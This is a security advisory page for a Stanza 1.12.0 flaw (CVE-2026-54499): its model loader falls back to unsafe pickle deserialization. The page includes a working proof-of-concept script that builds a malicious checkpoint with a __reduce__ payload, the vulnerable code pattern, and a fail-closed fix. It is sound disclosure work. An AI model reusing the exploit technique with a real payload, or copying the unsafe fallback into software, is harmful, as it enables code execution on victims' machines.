Stanza CVE-2026-54499
HIGHSeverity by source
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Network delivery via model repos (AV:N); trigger is a one-line pickle global, not complex (AC:L); no auth needed (PR:N); victim must load the file (UI:R); full RCE yields C/I/A:H.
Primary rating from Vendor (https://github.com/stanfordnlp/stanza).
CVSS VectorVendor: https://github.com/stanfordnlp/stanza
Lifecycle Timeline
3DescriptionCVE.org
Summary
Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using torch.load(..., weights_only=True), but automatically falls back to the fully unsafe torch.load(..., weights_only=False) when the safe load raises pickle.UnpicklingError. Because the UnpicklingError condition is fully attacker-controllable, any .pt file that contains a single unsupported pickle global will trigger it.
An attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline.
Code execution occurs inside the Stanza pretrain-loading API, not merely by calling torch.load directly.
Details
The vulnerable code is in pretrain.py#L59-L67 (Stanza 1.12.0):
try:
data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError:
data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)When weights_only=True is passed, PyTorch's deserializer raises pickle.UnpicklingError for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the same attacker-controlled file with weights_only=False, which invokes Python's full pickle deserializer and executes any __reduce__ method in the file without restriction.
The fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., builtins.open) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.
The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:
| File | Lines |
|---|---|
stanza/models/common/pretrain.py | 64-66 |
stanza/models/coref/model.py | 251-253, 329-331 |
stanza/models/classifiers/trainer.py | 80-82 |
stanza/models/constituency/base_trainer.py | 94-96 |
Additionally, stanza/models/lemma_classifier/base_model.py:127 calls torch.load(filename, lambda storage, loc: storage) with no weights_only argument at all, which defaults to False on any PyTorch < 2.6.
The call chain from the public API to the vulnerable fallback is:
stanza.models.common.foundation_cache.load_pretrain(path)
→ FoundationCache.load_pretrain(path)
→ stanza.models.common.pretrain.Pretrain(filename)
→ Pretrain.emb (property access triggers load)
→ Pretrain.load()
→ torch.load(..., weights_only=True)
# raises UnpicklingError
→ torch.load(..., weights_only=False)
# executes arbitrary pickle---
PoC
Environment: Python 3.11, stanza1.12.0, torch2.12.0
Step 1: Install dependencies:
pip install stanza==1.12.0 torch==2.12.0Step 2: Save the following as exploit.py:
import os
from pathlib import Path
import torch
import stanza
from stanza.models.common.foundation_cache import FoundationCache, load_pretrain
from stanza.models.common.vocab import VOCAB_PREFIX
SENTINEL = "/tmp/stanza_rce_proof"
MODEL = "/tmp/stanza_malicious.pt"
class HarmlessPayload:
"""Demonstrates execution; writes a sentinel file."""
def __init__(self, path):
self.path = path
def __reduce__(self):
return (open, (self.path, "w"))
# Build a structurally valid Stanza pretrain state dict with the payload embedded.
words = VOCAB_PREFIX + ["hello"]
state = {
"vocab": {
"lang": "", "idx": 0, "cutoff": 0, "lower": False,
"_id2unit": words,
"_unit2id": {w: i for i, w in enumerate(words)},
},
"emb": torch.zeros((len(words), 2), dtype=torch.float32),
"payload": HarmlessPayload(SENTINEL),
# ← the malicious object
}
torch.save(state, MODEL)
# Confirm safe-only load raises UnpicklingError and does NOT create sentinel.
try:
torch.load(MODEL, lambda s, l: s, weights_only=True)
print("UNEXPECTED: safe load succeeded (no fallback needed)")
except Exception as e:
print(f"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}")
# Load through the real Stanza API. The fallback fires and the sentinel is created.
cache = FoundationCache()
pretrain = load_pretrain(MODEL, foundation_cache=cache)
print(f"stanza={stanza.__version__} torch={torch.__version__}")
print(f"emb_shape={tuple(pretrain.emb.shape)}")
print(f"sentinel_exists={Path(SENTINEL).exists()}")
print("VERDICT: ACTUAL_VULN_REAL_STANZA_PATH" if Path(SENTINEL).exists() else "VERDICT: UNPROVEN")Step 3 : Run:
python exploit.pyExpected output (confirmed):
Control: safe load raised UnpicklingError : sentinel exists: False
stanza=1.12.0 torch=2.12.0
emb_shape=(5, 2)
sentinel_exists=True
VERDICT: ACTUAL_VULN_REAL_STANZA_PATHThe sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct torch.load call in the PoC.
---
Impact
Vulnerability class: CWE-502 : Deserialization of Untrusted Data
Who is impacted: Any user, researcher, CI/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim's exclusive cryptographic control. Concretely:
- Developers who run
stanza.Pipeline(lang)after downloading models from HuggingFace or GitHub - CI pipelines that automatically refresh Stanza models during builds
- Research environments that share pretrain files over shared network storage or model repositories
Attack prerequisites: The attacker must be able to place a malicious .pt pretrain file at a path that Stanza will load. Realistic delivery vectors include:
- Compromise of a HuggingFace model repository hosting Stanza pretrain weights
- Poisoning of a shared model cache directory (NFS, S3, artifact store)
- A malicious pretrain file distributed via a third-party fine-tuning hub or research repo
What an attacker achieves: Arbitrary code execution with the full privileges of the process running stanza.Pipeline(), typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure.
Recommended fix:
Remove the unsafe fallback entirely. If weights_only=True raises UnpicklingError, fail closed:
try:
data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError as e:
raise RuntimeError(
f"Refusing to load legacy pretrain file {self.filename!r} with unsafe "
"deserialization. Regenerate the file using a trusted Stanza migration tool."
) from eIf legacy NumPy-containing pretrain files must be supported, use PyTorch's add_safe_globals() API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.
AnalysisAI
Arbitrary code execution in Stanford NLP's Stanza 1.12.0 (and ≤1.12.1) occurs when the library loads a malicious PyTorch checkpoint, because its pretrain loader silently falls back from torch.load(weights_only=True) to weights_only=False whenever an UnpicklingError is raised - a condition the attacker fully controls by embedding one unsupported pickle global. Publicly available exploit code exists (working PoC in the GHSA advisory), and any developer, CI pipeline, or production NLP service that downloads Stanza model files from HuggingFace, GitHub, or a shared cache can be compromised. Fixed in Stanza 1.12.2.
Technical ContextAI
Stanza is Stanford NLP Group's Python NLP toolkit (PyPI package stanza), widely used for tokenization, POS tagging, NER, and dependency parsing across 70+ languages. The flaw is a classic CWE-502 Deserialization of Untrusted Data: PyTorch's weights_only=True mode is designed to reject any pickle global not on its safe allowlist by raising pickle.UnpicklingError. Stanza's loaders in stanza/models/common/pretrain.py, coref/model.py, classifiers/trainer.py, and constituency/base_trainer.py catch that exception and immediately retry with weights_only=False, invoking Python's full pickle machinery and any __reduce__ method in the file. An additional loader at stanza/models/lemma_classifier/base_model.py:127 omits weights_only entirely, which defaults to False on PyTorch < 2.6, compounding the exposure. Trigger occurs inside the public stanza.Pipeline() and load_pretrain() API path, not by user-initiated torch.load.
RemediationAI
Vendor-released patch: upgrade stanza to 1.12.2 or later via pip install --upgrade stanza (per GHSA-v5jw-96jm-7h2c). If immediate upgrade is not possible, treat all Stanza pretrain/model files as untrusted code: source models only from cryptographically verified vendor channels, pin and checksum (SHA-256) every .pt file consumed by CI/CD, and isolate model-loading processes in containers or VMs without cloud credentials or production secrets in the environment. As a code-level workaround for forks, remove the except UnpicklingError: torch.load(..., weights_only=False) fallback in all six affected loaders and fail closed, or use PyTorch's torch.serialization.add_safe_globals() to allowlist only the specific NumPy dtypes legacy files require - note that hard-failing will break loading of older pretrain files generated before the migration, so a re-export step may be needed for internal model libraries. Also upgrade PyTorch to ≥ 2.6 so that the lemma_classifier loader's default is no longer unsafe.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-502 – Deserialization of Untrusted Data
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-v5jw-96jm-7h2c